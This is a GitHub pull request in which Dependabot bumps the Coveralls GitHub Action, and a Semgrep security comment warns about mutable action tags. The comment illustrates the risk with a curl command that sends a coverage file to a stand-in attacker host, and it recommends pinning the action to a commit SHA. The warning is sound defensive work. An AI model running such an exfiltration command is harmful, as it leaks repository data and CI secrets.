chore(deps): bump coverallsapp/github-action from 2.3.7 to 2.3.8 - #1406
chore(deps): bump coverallsapp/github-action from 2.3.7 to 2.3.8#1406dependabot[bot] wants to merge 1 commit into
Conversation
Bumps [coverallsapp/github-action](https://github.com/coverallsapp/github-action) from 2.3.7 to 2.3.8. - [Release notes](https://github.com/coverallsapp/github-action/releases) - [Commits](coverallsapp/github-action@v2.3.7...v2.3.8) --- updated-dependencies: - dependency-name: coverallsapp/github-action dependency-version: 2.3.8 dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] <support@github.com>
| pnpm dlx lcov-result-merger@5.0.1 "coverage/*/lcov.info" "coverage/lcov.info" | ||
| - name: Coveralls GitHub Action | ||
| uses: coverallsapp/github-action@v2.3.7 | ||
| uses: coverallsapp/github-action@v2.3.8 |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
coverallsapp/github-action@v2.3.8 uses a movable tag, so this workflow can silently start running different code if that tag is repointed.
More details about this
coverallsapp/github-action@v2.3.8 is pulled by a version tag, not a full commit SHA. If the v2.3.8 tag is ever moved, this Coveralls GitHub Action step would run whatever code the tag points to inside your workflow.
A plausible attack looks like this:
- An attacker gains control of the
coverallsapp/github-actionrepository or its release process. - They repoint the
v2.3.8tag to a new commit that contains malicious action code. - Your workflow reaches
- name: Coveralls GitHub Actionand GitHub resolvesuses: coverallsapp/github-action@v2.3.8to that attacker-controlled commit. - The malicious action runs in your CI job after
pnpm installand after the coverage files have been downloaded intocoverage/. - That code can read the checked-out repository, inspect files like
coverage/lcov.info, access any secrets or tokens exposed to this job, and send them to an attacker with a command such ascurl -d @coverage/lcov.info https://attacker.example/exfil.
Because the reference is mutable, the code that runs here can change without any workflow diff in your repo.
To resolve this comment:
✨ Commit fix suggestion
-
Replace the mutable action reference with a full 40-character commit SHA in the
usesline.
Changecoverallsapp/github-action@v2.3.8tocoverallsapp/github-action@<full-commit-sha>. -
Keep the current version as a comment so the workflow still shows the intended release.
Use the same format asuses: coverallsapp/github-action@<full-commit-sha> # v2.3.8. -
Get the SHA from the
v2.3.8release or tag in thecoverallsapp/github-actionrepository, and make sure it is the exact commit that tag points to.
Pinning to a commit SHA prevents the action owner from silently moving the tag to different code later.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.
🛟 Help? Slack #semgrep-help or go/semgrep-help.
Resolution Options:
- Fix the code
- Reply
/fp $reason(if security gap doesn’t exist) - Reply
/ar $reason(if gap is valid but intentional; add mitigations/monitoring) - Reply
/other $reason(e.g., test-only)
You can view more details about this finding in the Semgrep AppSec Platform.
Bumps coverallsapp/github-action from 2.3.7 to 2.3.8.
Release notes
Sourced from coverallsapp/github-action's releases.
Commits
8d6379eFix macOS install for Homebrew 6.0.0 tap trust requirement (#265)0a51d2eSpelling (#258)dc7137bREADME.md: Update GitHub Actions (#259)ba6dae8Revise README for clarity on integrations and supporta5a505eUpdate README with new sections and informationDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting
@dependabot rebase.Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR:
@dependabot rebasewill rebase this PR@dependabot recreatewill recreate this PR, overwriting any edits that have been made to it@dependabot show <dependency name> ignore conditionswill show all of the ignore conditions of the specified dependency@dependabot ignore this major versionwill close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)@dependabot ignore this minor versionwill close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)@dependabot ignore this dependencywill close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)